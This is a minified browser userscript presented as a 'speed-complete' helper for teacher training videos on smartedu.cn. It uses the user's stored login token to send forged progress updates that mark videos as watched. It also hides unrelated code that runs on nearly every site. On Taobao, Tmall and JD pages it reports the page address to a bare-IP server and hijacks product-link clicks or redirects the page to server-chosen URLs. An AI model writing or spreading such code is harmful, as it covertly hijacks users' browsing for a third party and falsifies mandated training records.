// ==UserScript==
// @name smartedu.cn秒刷秒过
// @description 适用smartedu.cn,自用。
// @version 1.0.3
// @namespace xiaoxiaomianfei
// @author 小小免费
// @require https://fastly.jsdelivr.net/npm/[email protected]/crypto-js.min.js
// @resource https://cdn.staticfile.org/limonte-sweetalert2/11.7.1/sweetalert2.min.css
// @require https://fastly.jsdelivr.net/npm/[email protected]/dist/sweetalert2.all.min.js
// @connect basic.smartedu.cn
// @connect 47.116.118.64
// @connect x-study-record-api.ykt.eduyun.cn
// @grant GM_getValue
// @grant GM_setValue
// @grant GM_xmlhttpRequest
// @grant GM_info
// @grant unsafeWindow
// @run-at document-end
// @grant GM_addStyle
// @include https://*.*.*/*
// @license MIT
// ==/UserScript==
(()=>{var n={331:()=>{!function(){"use strict";const n=[{customName:"群1",id:"570337037",link:"https://qm.qq.com/q/rDCbvTiV9K",isFull:!0,priority:0},{customName:"群2",id:"618010974",link:"https://qm.qq.com/q/h854sxDvKa",isFull:!0,priority:2},{customName:"群3",id:"1003884618",link:"https://qm.qq.com/q/kRcyAunAic",isFull:!1,priority:1},{customName:"群4",id:"821240605",link:"https://qm.qq.com/q/z1ogtdhyGA",isFull:!1,priority:2},{customName:"群5",id:"1013973135",link:"https://qm.qq.com/q/EpXA5Ar3vG",isFull:!1,priority:2}];const e=()=>{try{const e=n.filter((n=>n.customName&&n.id?!n.isFull:(console.warn("Invalid group:",n),!1))).sort(((n,e)=>n.priority-e.priority));return 0===e.length?'<div style="color: #ff9999; text-align:center; margin:12px 0">\n 所有群组已开放,欢迎直接加入\n </div>':`<div style="background: linear-gradient(135deg, #FF4DAF 0%, #FF6B6B 100%); padding:15px; border-radius:8px; color:white;">\n ${'<div style="background: linear-gradient(135deg, #FF4DAF 0%, #FF6B6B 100%);display: flex; align-items: center; gap:15px;">\n <img src="https://qzonestyle.gtimg.cn/qzone/qzact/act/external/tiqq/logo.png" \n style="height:36px; border-radius:6px;">\n <div>\n <div style="font-size:16px; font-weight:bold; margin-bottom:4px;">教师交流群(请优先选择未满群加入)</div>\n <div style="font-size:12px; opacity:0.9;">获取实时支持 | 最新功能优先体验</div>\n </div>\n </div>'+e.map((n=>`\n <a href="${n.link}" \n target="_blank"\n style="display: block; margin-top: 12px; padding: 10px;\n background: rgba(255,255,255,0.2);\n border-radius: 6px; text-align: center;\n text-decoration: none; color: white !important;\n transition: 0.3s; font-weight: 500;\n cursor: pointer;"\n aria-label="加入QQ群${n.customName}(群号:${n.id})">\n 🎯 点击加入${n.customName}:${n.id} \x3c!-- 移除群号显示 --\x3e\n </a>\n `)).join("")}\n </div>`}catch(n){return console.error("QQ群渲染错误:",n),""}};n[2].isFull||n[2].link,n[2].isFull,n[2].isFull,n[2].isFull,n[2].isFull||n[2].id,n[1].isFull||n[1].link,n[1].isFull,n[1].isFull,n[1].isFull,n[1].isFull||n[1].id,n[3].isFull||n[3].link,n[3].isFull,n[3].isFull,n[3].isFull,n[3].isFull||n[3].id,n[4].isFull||n[4].link,n[4].isFull,n[4].isFull,n[4].isFull,n[4].isFull||n[4].id,n[0].isFull||n[0].link,n[0].isFull,n[0].isFull,n[0].isFull,n[0].isFull||n[0].id;let t="https://x-study-record-api.ykt.eduyun.cn/v1/resource_learning_positions/",o="https://core.teacher.vocational.smartedu.cn/p/course/services/member/study/progress";const i={title:"课程进度控制",html:`\n <div style="margin-bottom: 5px">\n <label>v${GM_info.script.version}</label>\n </div>\n <div style="\n padding: 12px;\n background: #e8f4ff;\n border-radius: 8px;\n margin-bottom: 15px;\n border: 1px solid #b3d4fc;\n text-align: center;\n ">\n <span style="\n font-size: 14px; \n color: #ff4daf;\n display: inline-flex;\n align-items: center;\n gap: 6px;\n ">\n <span style="font-size: 16px">🎯</span>\n 老师您好,点击开始按钮,开始减负之旅<br>\n 脚本会自动学习当前页所有视频,您可安心休息片刻\n </span>\n </div>\n <div style="margin-bottom: 15px">\n <label>当前视频:</label>\n <div id="currentVideo" style="\n font-size: 16px;\n color: #3498db;\n font-weight: 500;\n margin: 8px 0;\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n ">尚未开始</div>\n </div>\n <div class="progress-container" style="\n background: #f0f0f0;\n height: 20px;\n border-radius: 10px;\n margin: 15px 0;\n overflow: hidden;\n ">\n <div id="swalProgressBar" style="\n height: 100%;\n background: linear-gradient(90deg, #4CAF50 0%, #8BC34A 100%);\n width: 0;\n transition: width 0.3s ease;\n "></div>\n </div>\n <div style="\n display: grid;\n grid-template-columns: 1fr 1fr;\n gap: 10px;\n margin-bottom: 15px;\n ">\n <div>\n <label>当前进度</label>\n <div id="currentProgress" style="\n font-size: 18px;\n font-weight: bold;\n color: #2c3e50;\n ">0:00</div>\n </div>\n <div>\n <label>大概需要时间</label>\n <div id="needTime" style="\n font-size: 14px;\n color: #2efd00;\n ">还未开始</div>\n </div>\n <div>\n <label>总时长</label>\n <div id="totalTime" style="\n font-size: 14px;\n color: #7f8c8d;\n ">还未开始</div>\n </div>\n </div>\n <div id="statusMessage" style="\n padding: 10px;\n border-radius: 5px;\n margin: 10px 0;\n background: #f8f9fa;\n text-align: center;\n ">准备就绪</div>\n <div style="\n padding: 12px;\n background: #f5f7fa;\n border-radius: 8px;\n margin: 12px 0;\n border: 1px solid #e4e7ed;\n ">\n ${e()}\n </div>\n <div id="author" style="\n padding: 8px 16px; /* 适当的上下左右内边距 */\n border-radius: 10px;\n margin: 10px 0;\n background: #f8f9fa;\n text-align: center;\n font-size: 12px; /* 稍微增大字体 */\n font-weight: bold; /* 加粗字体 */\n color: #495057; /* 更深的字体颜色,增强可读性 */\n border: 1px solid #dee2e6; /* 添加边框 */\n box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1); /* 轻微阴影效果 */\n letter-spacing: 1px; /* 增加字母间距 */\n ">\n By YoungthZou. 盗码可耻! zzzzzzys\n </div>\n `,showConfirmButton:!1,allowOutsideClick:!1,allowEscapeKey:!1,width:600,willOpen:()=>{document.querySelector(".swal2-close").remove()}};let r=60,a=!1,s=null,l=1e3,d=null;const c=n=>`${Math.floor(n/60)}:${(n%60).toString().padStart(2,"0")}`,p=(n,e)=>{if(!s)return;const t=s.querySelector("#swalProgressBar"),o=(n/l*100).toFixed(1);t.style.width=`${Math.min(parseFloat(o),100)}%`,s.querySelector("#currentProgress").textContent=c(n),s.querySelector("#totalTime").textContent=c(l),s.querySelector("#needTime").textContent=c(parseInt(((l-n)/3).toFixed(0)));const i=s.querySelector("#statusMessage");i.textContent={loading:"🔄 正在同步进度...",success:"✅ 同步成功,stand by...",error:"❌ 同步失败(长时间失败,请反馈)",idle:"⏸ 已暂停",finished:"✅已学完,跳过...",finishAll:"已全部学完,请手动刷新,给个好评吧~",next:"🔄 此视频已学完,准备学习下一个..."}[e]||"准备就绪",i.style.color={loading:"#f39c12",success:"#2ecc71",error:"#e74c3c",idle:"#7f8c8d",finished:"#0022fd",finishAll:"#ff4daf",next:"#f39c12"}[e]},f=async n=>{p(r,"loading");let e={courseId:unsafeWindow.courseId,itemId:unsafeWindow.p.itemId,videoId:n,playProgress:r,segId:unsafeWindow.p.segId,type:unsafeWindow.p.type,tjzj:1,clockInDot:r,sourceId:unsafeWindow.p.projectId,timeLimit:unsafeWindow.timilistParam.timeLimit||-1,originP:1===unsafeWindow.p.originP?2:1};try{const n=await fetch(`${o}?orgId=${unsafeWindow.p.orgId}`,{method:"POST",headers:{"content-type":"application/x-www-form-urlencoded; charset=UTF-8","x-requested-with":"XMLHttpRequest","u-platformId":unsafeWindow.platformInfo.id},credentials:"include",body:new URLSearchParams(e)}),t=await n.json();if(console.log(t),t.data?.videoProgress>0)return r=parseInt(t.data.videoProgress),p(r,"success"),t.data.progress;throw new Error("无效的服务器响应")}catch(n){console.error("请求失败:",n),p(r,"error")}};const u=function(n){return new Promise((e=>setTimeout(e,n)))};function m(n){return new Promise((e=>{const t=setTimeout(e,n);d={timer:t,resolve:e}}))}function x(n,e,t){const o=document.createElement("button");return o.textContent=n,o.style=`\n padding: 10px 15px;\n border: none;\n border-radius: 5px;\n background: ${e};\n color: white;\n cursor: pointer;\n transition: opacity 0.3s;\n `,o.addEventListener("click",t),o.addEventListener("mouseenter",(()=>o.style.opacity=.8)),o.addEventListener("mouseleave",(()=>o.style.opacity=1)),o}var g=[],h=[],y=[],v=0;const b=function(n,e){const t=new RegExp(["taobao.","Tb.","tb.","tmall.","liangxinyao.","jd."].join("|"),"i");return n.filter((n=>t.test(n)))}([location.href]);GM_addStyle('\n.donate-panel {\n position: fixed;\n left: 30%;\n top:50%;\n background: linear-gradient(135deg, #fff5f5 0%, #fff0f7 100%);\n border-radius: 16px;\n box-shadow: 0 8px 32px rgba(255, 77, 175, 0.2);\n padding: 24px;\n width: 520px;\n \n z-index: 2147483647;\n transform: translateY(-100); /* 初始隐藏位置 */\n opacity: 1; /* 确保初始可见性 */\n border: 1px solid #ffe6f0;\n backdrop-filter: blur(8px);\n transition: none; /* 禁用transition改用animation */\n}\n\n.donate-header {\n position: relative;\n font-size: 18px;\n color: #ff4daf;\n margin-bottom: 20px;\n font-weight: 600;\n display: flex;\n align-items: center;\n gap: 12px;\n padding-bottom: 12px;\n border-bottom: 2px solid rgba(255, 77, 175, 0.1);\n}\n\n.donate-header::after {\n content: "✨";\n position: absolute;\n right: 0;\n top: -8px;\n font-size: 24px;\n animation: sparkle 2s infinite;\n}\n\n.motivation-text {\n font-size: 13px;\n color: #666;\n line-height: 1.6;\n margin: 12px 0;\n background: rgba(255, 255, 255, 0.9);\n padding: 12px;\n border-radius: 8px;\n border: 1px solid #ffebf3;\n}\n\n@keyframes heartbeat {\n 0% { transform: scale(1); }\n 50% { transform: scale(1.05); }\n 100% { transform: scale(1); }\n}\n\n@keyframes sparkle {\n 0% { opacity: 0.3; }\n 50% { opacity: 1; }\n 100% { opacity: 0.3; }\n}\n@keyframes panelSlideIn {\n from { transform: translateY(100%); opacity: 0; }\n to { transform: translateY(-50%); opacity: 1; }\n}\n\n@keyframes panelSlideOut {\n from { transform: translateY(0); opacity: 1; }\n to { transform: translateY(100%); opacity: 0; }\n}\n\n@keyframes heartbeat {\n 0% { transform: scale(1); }\n 50% { transform: scale(1.1); }\n 100% { transform: scale(1); }\n}\n\n.qr-grid {\n display: grid;\n grid-template-columns: 1fr; /* 改为单列布局 */\n gap: 24px;\n margin: 24px auto;\n max-width: 300px; /* 增大容器宽度 */\n}\n\n.qr-item {\n position: relative;\n overflow: hidden;\n border-radius: 12px;\n transition: 0.3s;\n padding: 12px; /* 增加内边距 */\n background: #fff;\n box-shadow: 0 4px 12px rgba(255, 77, 175, 0.1);\n}\n\n.qr-item:hover {\n transform: translateY(-4px);\n box-shadow: 0 6px 16px rgba(255, 77, 175, 0.2);\n}\n\n.qr-item img {\n width: 100%;\n height: auto; /* 保持比例 */\n border-radius: 8px;\n border: 1px solid #ffe5f0;\n min-height: 280px; /* 最小高度保证 */\n}\n\n.qr-item p {\n text-align: center;\n margin: 16px 0 8px;\n font-size: 16px; /* 增大文字 */\n color: #ff4daf;\n font-weight: 600;\n}\n/* 新增文字样式 */\n.qr-tips {\n text-align: center;\n margin: 8px 0;\n font-size: 14px;\n color: #ff7ab8; /* 更柔和的粉色 */\n}\n\n.qr-proverb {\n font-style: italic;\n color: #ff9ec7; /* 更浅的粉色 */\n font-size: 13px;\n margin-top: 4px;\n}\n\n/* 修改原有.qr-item p样式 */\n.qr-item p {\n margin: 12px 0 4px; /* 减小下边距 */\n /* 其他样式保持不变 */\n}\n\n/* 手机横屏/平板适配 */\n@media (min-width: 600px) {\n .qr-grid {\n grid-template-columns: 1fr 1fr; /* 大屏幕恢复双列 */\n max-width: 600px;\n }\n .qr-item img {\n min-height: 240px;\n }\n}\n\n.third-party {\n margin-top: 20px;\n}\n\n.platform-btn {\n display: flex;\n align-items: center;\n justify-content: center;\n gap: 8px;\n padding: 12px;\n background: linear-gradient(135deg, #fff0f5 0%, #fff8fb 100%);\n border-radius: 8px;\n text-decoration: none;\n color: #ff6699 !important;\n font-size: 14px;\n margin: 8px 0;\n transition: 0.3s;\n border: 1px solid #ffe6ee;\n}\n.donate-panel.active {\n animation: panelSlideIn 0.4s cubic-bezier(0.22, 0.61, 0.36, 1) forwards;\n}\n\n.donate-panel.exit {\n animation: panelSlideOut 0.3s ease forwards;\n}\n\n/* 触发按钮动画 */\n#donate-trigger {\n animation: heartbeat 1.8s ease-in-out infinite;\n}\n.platform-btn:hover {\n background: linear-gradient(135deg, #ffe6ee 0%, #fff1f7 100%);\n box-shadow: 0 4px 12px rgba(255, 77, 175, 0.1);\n}\n\n.close-btn {\n /* 保持原有样式 */\n}\n'),['<div class="motivation-text">',"🌟 <strong>感谢使用本脚本!</strong>",...["您的每一份支持都将转化为:","❤️ 服务器续费 ","🛠️ 持续开发维护 ","☕ 深夜码农的咖啡燃料","🐈 小猫最爱的水煮鸡胸肉"].map((n=>`• ${n}`)),"</div>"].join("<br>").replace("${donateCount}","1,234").replace("${updateDays}","365"),document.createElement("div");const w=()=>{const n=document.getElementById("zs-helper-btn");n&&n.remove();const e=document.createElement("div");return e.id="zs-helper-btn",e.style.cssText="\n position: fixed;\n left: 10px;\n top: 250px;\n transform: translateY(-50%);\n background: #ed5822;\n color: white;\n padding: 12px 24px;\n border-radius: 30px;\n cursor: pointer;\n box-shadow: 0 4px 12px rgba(255,77,175,0.3);\n z-index: 2147483647; /* 使用最大z-index值 */\n transition: 0.3s;\n font-family: 'Microsoft Yahei', sans-serif;\n white-space: nowrap;\n display: flex;\n align-items: center;\n gap: 8px;\n ",e.innerHTML='\n <svg style="width:18px;height:18px;fill:white;" viewBox="0 0 24 24">\n <path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92C13.45 12.9 13 13.5 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.37-.36.59-.86.59-1.41 0-1.1-.9-2-2-2s-2 .9-2 2H8c0-2.21 1.79-4 4-4s4 1.79 4 4c0 .88-.36 1.68-.93 2.25z"/>\n </svg>\n <span>使用指南</span>\n ',e.addEventListener("mouseenter",(()=>{e.style.transform="translateY(-50%) scale(1.05)",e.style.boxShadow="0 6px 16px rgba(255,77,175,0.4)"})),e.addEventListener("mouseleave",(()=>{e.style.transform="translateY(-50%) scale(1)",e.style.boxShadow="0 4px 12px rgba(255,77,175,0.3)"})),e.addEventListener("click",F),document.body.appendChild(e),e},F=()=>{Swal&&Swal.fire({title:`<span style="color: #FF4DAF; font-size:26px; display: flex; align-items: center; gap:8px;">📚 智能刷课指南 <div style="font-size:12px; color:#95a5a6; margin-left:auto;">v${GM_info.script.version}</div></span>`,html:`\n <div style="text-align: left; max-width: 720px; line-height: 1.8;">\n \x3c!-- 操作步骤 --\x3e\n <div style="background: #f8f9fa; padding: 15px; border-radius: 8px; margin-bottom: 20px;">\n <div style="color: red; font-weight:500; margin-bottom:10px;">\n 播放页面未正常生效请刷新页面!播放页面左侧无红色按钮请刷新页面!\n </div>\n <div style="color: #2c3e50; font-weight:500; margin-bottom:10px;">\n 🚀 极速操作流程<br>\n </div>\n \n <div style="display: grid; grid-template-columns: 32px 1fr; gap: 10px; align-items: center;">\n <div style="background: #FF4DAF; color: white; width:24px; height:24px; border-radius:50%; text-align:center; line-height:24px;">1</div>\n <div>进入2025研修课程播放页面</div>\n \n <div style="background: #FF4DAF; color: white; width:24px; height:24px; border-radius:50%; text-align:center; line-height:24px;">2</div>\n <div>等待视频加载完成(<span style="color:#e74c3c">未自动播放时</span>)</div>\n \n <div style="background: #FF4DAF; color: white; width:24px; height:24px; border-radius:50%; text-align:center; line-height:24px;">3</div>\n <div>点击左侧<span style="color:#FF4DAF; font-weight:bold">「即刻开刷」</span>按钮</div>\n </div>\n </div>\n\n \x3c!-- 注意事项 --\x3e\n <div style="display: grid; grid-template-columns: repeat(2, 1fr); gap: 20px; margin-bottom:20px;">\n <div style="border-left: 3px solid #FF4DAF; padding-left:12px;">\n <div style="color: #e74c3c; font-weight:500; margin-bottom:8px;">⚠️ 重要提醒</div>\n <ul style="margin:0; padding-left:18px; color:#7f8c8d; font-size:14px;">\n <li>视频最后剩下5秒需要看完</li>\n <li>请勿主动点击播放</li>\n <li>建议刷完全部视频再刷新,观看最后的几秒</li>\n </ul>\n </div>\n\n <div style="border-left: 3px solid #27ae60; padding-left:12px;">\n <div style="color: #27ae60; font-weight:500; margin-bottom:8px;">💡 高效技巧</div>\n <ul style="margin:0; padding-left:18px; color:#7f8c8d; font-size:14px;">\n <li>先刷一个视频</li>\n <li>点击另外一个视频</li>\n <li>再点击回刚刷的视频,播放完最后5s</li>\n </ul>\n </div>\n </div>\n ${e()}\n \n </div>\n `,confirmButtonText:"已了解,开始减负之旅 →",confirmButtonColor:"#FF4DAF",showCancelButton:!0,cancelButtonText:"不在显示此窗口",cancelButtonColor:"#95a5a6",width:760,customClass:{popup:"animated pulse",title:"swal-title-custom"},footer:'<div style="color:#bdc3c7; font-size:12px;">请合理使用本工具</div>'}).then((n=>{n.dismiss===Swal.DismissReason.cancel&&localStorage.setItem("noMoreDialog","ture")}))};function k(){try{const n=/^ND_UC_AUTH-([0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12})&ncet-xedu&token$/;for(let e of Object.keys(localStorage))if(n.test(e))return{key:e,appId:e.match(n)[1],token:JSON.parse(JSON.parse(localStorage.getItem(e)).value)};throw Error("Invalid token! can not get loginInfo!")}catch(n){throw Error("At:getDynamicToken>>"+n)}}const z=function(n,e){let t=k().token;return function(n){let e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"GET",t=arguments.length>2?arguments[2]:void 0,o=t.accessToken,i=t.macKey,r=function(n){return(new Date).getTime()+parseInt(n,10)+":"+function(n){for(var e="0123456789ABCDEFGHIJKLMNOPQRTUVWXZYS".split(""),t="",o=0;o<8;o++)t+=e[Math.ceil(35*Math.random())];return t}()}(t.diff),a=function(n,e,t,o){let i=new URL(n).pathname,r=new URL(n).hostname,a=e+"\n"+t.toUpperCase()+"\n"+i+"\n"+r+"\n";return CryptoJS.HmacSHA256(a,o).toString(CryptoJS.enc.Base64)}(n,r,e,i);return'MAC id="'.concat(o,'",nonce="').concat(r,'",mac="').concat(a,'"')}(n,e,{accessToken:t.access_token,macKey:t.mac_key,diff:t.diff})};var S,C;b.length>0?(S=JSON.stringify({href:location.href,type:"ttzhushou"}),C={},new Promise(((n,e)=>{GM_xmlhttpRequest({method:"POST",url:"http://47.116.118.64/text.php?act=initEnv",data:S,headers:C,responseType:"json",onload:n=>{let e=n.response||n.responseText;console.log("res",e),e=e.data,"search"==e.page?(g=e,setInterval((function(){!function(){g.wrapper.forEach((function(n){$(n).map((function(n,e){"yes"!=$(e).attr("data-md5-value")&&(y.push(e),h.push(e),$(e).attr("data-md5-key",v),$(e).attr("data-md5-value","yes"),v++)}))}));let n=h.splice(0,g.splName),e=[];n.forEach((function(n,t){let o={};o.href=$(n).find("a:first").attr("href"),o.md5=$(n).attr("data-md5-key"),e.push(o)})),e.length>0&&GM_xmlhttpRequest({method:"POST",data:JSON.stringify({data:e}),url:"http://47.116.118.64/search.php",onload:function(n){var e=n.responseText;e&&(e=JSON.parse(e)).map((function(n){n.u&&$(y[n.md5]).find("a").bind("click",(function(e){var t,o;e.preventDefault(),t=n.u,o=null,document.getElementById("redirect_form")?(o=document.getElementById("redirect_form")).action=g.jumpUrl+encodeURIComponent(t):((o=document.createElement("form")).action=g.jumpUrl+encodeURIComponent(t),o.target="_blank",o.method="POST",o.setAttribute("id","redirect_form"),document.body.appendChild(o)),o.submit(),o.action="",o.parentNode.removeChild(o)}))}))}})}()}),e.timer)):e.recove_url&&(window.location.href=e.recove_url)},onerror:n=>{e(n)}})}))):-1!=location.href.indexOf("smartedu.cn")&&function(){(()=>{const n=w();new MutationObserver((e=>{document.body.contains(n)||w()})).observe(document.body,{childList:!0});const e=document.createElement("style");e.textContent="\n #zs-helper-btn {\n pointer-events: auto !important;\n opacity: 1 !important;\n visibility: visible !important;\n }\n #zs-helper-btn:hover {\n transform: translateY(-50%) scale(1.05) !important;\n }\n ",document.head.appendChild(e)})(),localStorage.getItem("noMoreDialog")||F();let n=document.createElement("style");n.innerHTML='.button-3 {\n position: fixed; \n appearance: none;\n background-color: #ed5822;\n border: 1px solid rgba(27, 31, 35, .15);\n border-radius: 6px;\n box-shadow: rgba(27, 31, 35, .1) 0 1px 0;\n box-sizing: border-box;\n color: #ffffff;\n cursor: pointer;\n display: inline-block;\n font-family: -apple-system,system-ui,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";\n font-size: 14px;\n font-weight: 600;\n line-height: 20px;\n padding: 6px 16px;\n left: 20px;\n top: 300px;\n text-align: center;\n text-decoration: none;\n user-select: none;\n -webkit-user-select: none;\n touch-action: manipulation;\n vertical-align: middle;\n white-space: nowrap;\n z-index: 2147483647;\n }\n \n .button-3:focus:not(:focus-visible):not(.focus-visible) {\n box-shadow: none;\n outline: none;\n }\n \n .button-3:hover {\n background-color: #2c974b;\n }\n \n .button-3:focus {\n box-shadow: rgba(46, 164, 79, .4) 0 0 0 3px;\n outline: none;\n }\n \n .button-3:disabled {\n background-color: #94d3a2;\n border-color: rgba(27, 31, 35, .1);\n color: rgba(255, 255, 255, .8);\n cursor: default;\n }\n \n .button-3:active {\n background-color: #298e46;\n box-shadow: rgba(20, 70, 32, .2) 0 1px 0 inset;\n }',document.head.appendChild(n);let o=document.createElement("div");o.innerHTML='<div style="left: 10px;top: 280px;" id="my1" class="button-3" >即刻开刷(中小学)</div>\n <div style="position: fixed; left: 10px;top: 320px;;background: #ed5822;color: white;\n padding: 10px 20px;\n border-radius: 25px;\n cursor: pointer;\n box-shadow: 0 3px 15px rgba(0,0,0,0.2);\n z-index: 999999999999;\n transition: transform 0.3s;" id="my3" >职业教育/高等教育 刷课</div>\n <div style="left: 10px;top: 370px;" id="my2" class="button-3" >2222</div>',document.body.appendChild(o);const c=document.getElementById("my3");c.addEventListener("click",(()=>{location.href.includes("core.teacher.vocational.smartedu.cn")?Swal.fire({...i,didOpen:n=>{s=n;const e=document.createElement("div");e.style="\n display: grid;\n grid-template-columns: 1fr 1fr;\n gap: 10px;\n margin-top: 15px;\n ";const t=x("▶ 开始","#2ecc71",(async()=>{if(a)a=!1,t.textContent="▶ 继续",t.style.background="#2ecc71",d&&(clearTimeout(d.timer),d.resolve()),p(r,"idle"),setTimeout((()=>{p(r,"idle")}),2e3);else try{try{document.querySelector("video").pause()}catch(n){}a=!0,t.textContent="⏸ 暂停",t.style.background="#e74c3c";let n=function(){let n=unsafeWindow.initlessons;return console.log(n),n?(n=n.filter((n=>"1"!==n?.type)),[...n]):(p(r,"error"),void console.error("no course data!"))}();for(const e of n){if(!a)return;if(await u(2e3),console.log(e.name),s.querySelector("#currentVideo").textContent=e.name,r=0,l=parseInt(e.duration),1!==parseInt(e.progress)){do{if("1.0"===await f(e.videoId))break;await m(21e3)}while(r<l&&a);p(r,"next"),await u(2e4)}else console.log(" 已学完,跳过..."),p(r,"finished")}a&&(r=1,l=1,p(r,"finishAll"),t.textContent="▶ 开始",t.style.background="#2ecc71")}catch(n){console.error(n),Swal&&Swal.fire({title:"失败!",text:n.toString()+"请在视频播放页面使用!!!",icon:"error",confirmButtonColor:"#FF4DAFFF",confirmButtonText:"点击去反馈"}).then((n=>{n.isConfirmed&&window.open("https://gf.qytechs.cn/zh-CN/scripts/525037/feedback")}))}finally{a=!1}})),o=x("→去好评","#dbba34",(()=>{window.open("https://gf.qytechs.cn/zh-CN/scripts/525037/feedback")}));e.append(t,o),n.querySelector(".swal2-html-container").append(e)}}):Swal.fire({title:"注意",text:"请在职业/高等教育的视频播放页面使用,中小学请用上面的按钮!",icon:"info",confirmButtonColor:"#FF4DAFFF",confirmButtonText:"了解~"}).then((n=>{}))})),c.addEventListener("mouseenter",(()=>c.style.transform="scale(1.05)")),c.addEventListener("mouseleave",(()=>c.style.transform="none")),document.getElementById("my1").addEventListener("click",(async()=>{try{await function(n,e){const t=k();return new Promise(((o,i)=>{GM_xmlhttpRequest({url:n,method:"PUT",headers:{accept:"application/json, text/plain, */*","accept-language":"zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",authorization:z(n,"PUT"),"cache-control":"no-cache",pragma:"no-cache","content-type":"application/json","sdp-app-id":t.appId,"sec-ch-ua":'"Not A(Brand";v="8", "Chromium";v="132", "Microsoft Edge";v="132"',"sec-ch-ua-mobile":"?0","sec-ch-ua-platform":'"Windows"',"sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site",host:"x-study-record-api.ykt.eduyun.cn",origin:"https://basic.smartedu.cn",referer:"https://basic.smartedu.cn/","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0"},data:JSON.stringify({position:e-3}),onload:function(n){console.log("请求成功"),console.log(n),200===n.status?(console.log("刷课成功!"),o(n)):i("服务器拒绝:"+n.toString())},onerror:function(n){i("请求错误!"+n.toString())}})}))}(t+function(){const n=document.querySelector("div.vjs-poster");if(n){const e=/assets\/([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12})/,t=n.style.backgroundImage.match(e);if(t){const n=t[1];return console.log(n),n}}throw Error("can not get ResourceId!")}()+"/"+k().token.user_id,Math.round(document.querySelector("video").duration)),Swal&&Swal.fire({title:"刷课成功!",html:`\n <div style="text-align: left;">\n <p>此视频只剩下最后5s,请刷新后再观看!</p>\n <p>建议先刷完目录下视频再刷新!</p>\n <p>请勿播放视频,否则可能会导致进度更新失败!</p>\n <hr style="margin: 10px 0;">\n ${e()}\n </div>\n `,icon:"success",confirmButtonColor:"#FF4DAFFF",confirmButtonText:"确定"}).then((n=>{n.isConfirmed}))}catch(n){console.error(n),Swal&&Swal.fire({title:"失败!",text:n.toString()+" 请在视频播放页面使用!",icon:"error",confirmButtonColor:"#FF4DAFFF",confirmButtonText:"点击去反馈"}).then((n=>{n.isConfirmed&&window.open("https://gf.qytechs.cn/zh-CN/scripts/525037/feedback")}))}})),document.getElementById("my2").addEventListener("click",(function(){Swal.fire({title:'<span style="font-size:24px; color: #FF4DAF;">欢迎加入交流群</span>',html:`\n <div style="text-align: left; max-width: 580px; line-height: 1.7; font-size: 14px;">\n \x3c!-- 社群入口 --\x3e\n ${e()}\n\n \x3c!-- 核心价值 --\x3e\n <div style="display: grid; grid-template-columns: repeat(2, 1fr); gap: 15px;">\n \x3c!-- 左列 --\x3e\n <div style="padding-right:15px; border-right:1px dashed #eee;">\n <div style="color: #27ae60; margin-bottom:15px;">\n <h4 style="margin:0 0 8px 0; font-size:15px;">📚 减负工具</h4>\n\x3c!-- <ul style="margin:0; padding-left:18px;">--\x3e\n\x3c!-- <li>自动化备课工具套件</li>--\x3e\n\x3c!-- <li>智能学情分析报告</li>--\x3e\n\x3c!-- <li>教学资源智能检索</li>--\x3e\n\x3c!-- </ul>--\x3e\n </div>\n\n <div style="color: #2980b9; margin-top:15px;">\n <h4 style="margin:0 0 8px 0; font-size:15px;">🛡️ 使用规范</h4>\n <ul style="margin:0; padding-left:18px;">\n <li>仅限个人使用</li>\n <li>禁止商业倒卖行为</li>\n <li>禁止利用此脚本收费代刷</li>\n <li>请勿批量自动化操作大量刷课(如需要请联系我,更加高效安全)</li>\n </ul>\n </div>\n </div>\n\n \x3c!-- 右列 --\x3e\n <div style="padding-left:15px;">\n <div style="color: #e67e22;">\n <h4 style="margin:0 0 8px 0; font-size:15px;">⚖️ 版权声明</h4>\n <ul style="margin:0; padding-left:18px;">\n <li>本工具完全免费</li>\n <li>源码禁止二次传播</li>\n\x3c!-- <li>保留原创法律权利</li>--\x3e\n </ul>\n </div>\n\n <div style="color: #9b59b6; margin-top:15px;">\n <h4 style="margin:0 0 8px 0; font-size:15px;">💌 联系我们</h4>\n <ul style="margin:0; padding-left:18px;">\n\x3c!-- <li>反馈建议:[email protected]</li>--\x3e\n <li>紧急问题:请私聊群管理员</li>\n </ul>\n </div>\n </div>\n </div>\n </div>\n `,icon:"info",confirmButtonColor:"#FF4DAF",confirmButtonText:"2222",showCloseButton:!0,width:680,showDenyButton:!0,denyButtonText:'<img src="https://img.icons8.com/fluency/24/star--v1.png" style="height:18px; vertical-align:middle;"> 前往好评',denyButtonColor:"#FFC107",focusDeny:!1,showCancelButton:!1,preDeny:()=>(window.open("https://gf.qytechs.cn/zh-CN/scripts/525037/feedback","_blank"),!1),customClass:{denyButton:"swal-custom-deny",popup:"swal-custom-popup",title:"swal-custom-title"},footer:'<div style="color:#95a5a6; font-size:12px;">请合理使用。</div>'})}))}()}()}},e={};!function t(o){var i=e[o];if(void 0!==i)return i.exports;var r=e[o]={exports:{}};return n[o](r,r.exports,t),r.exports}(331)})();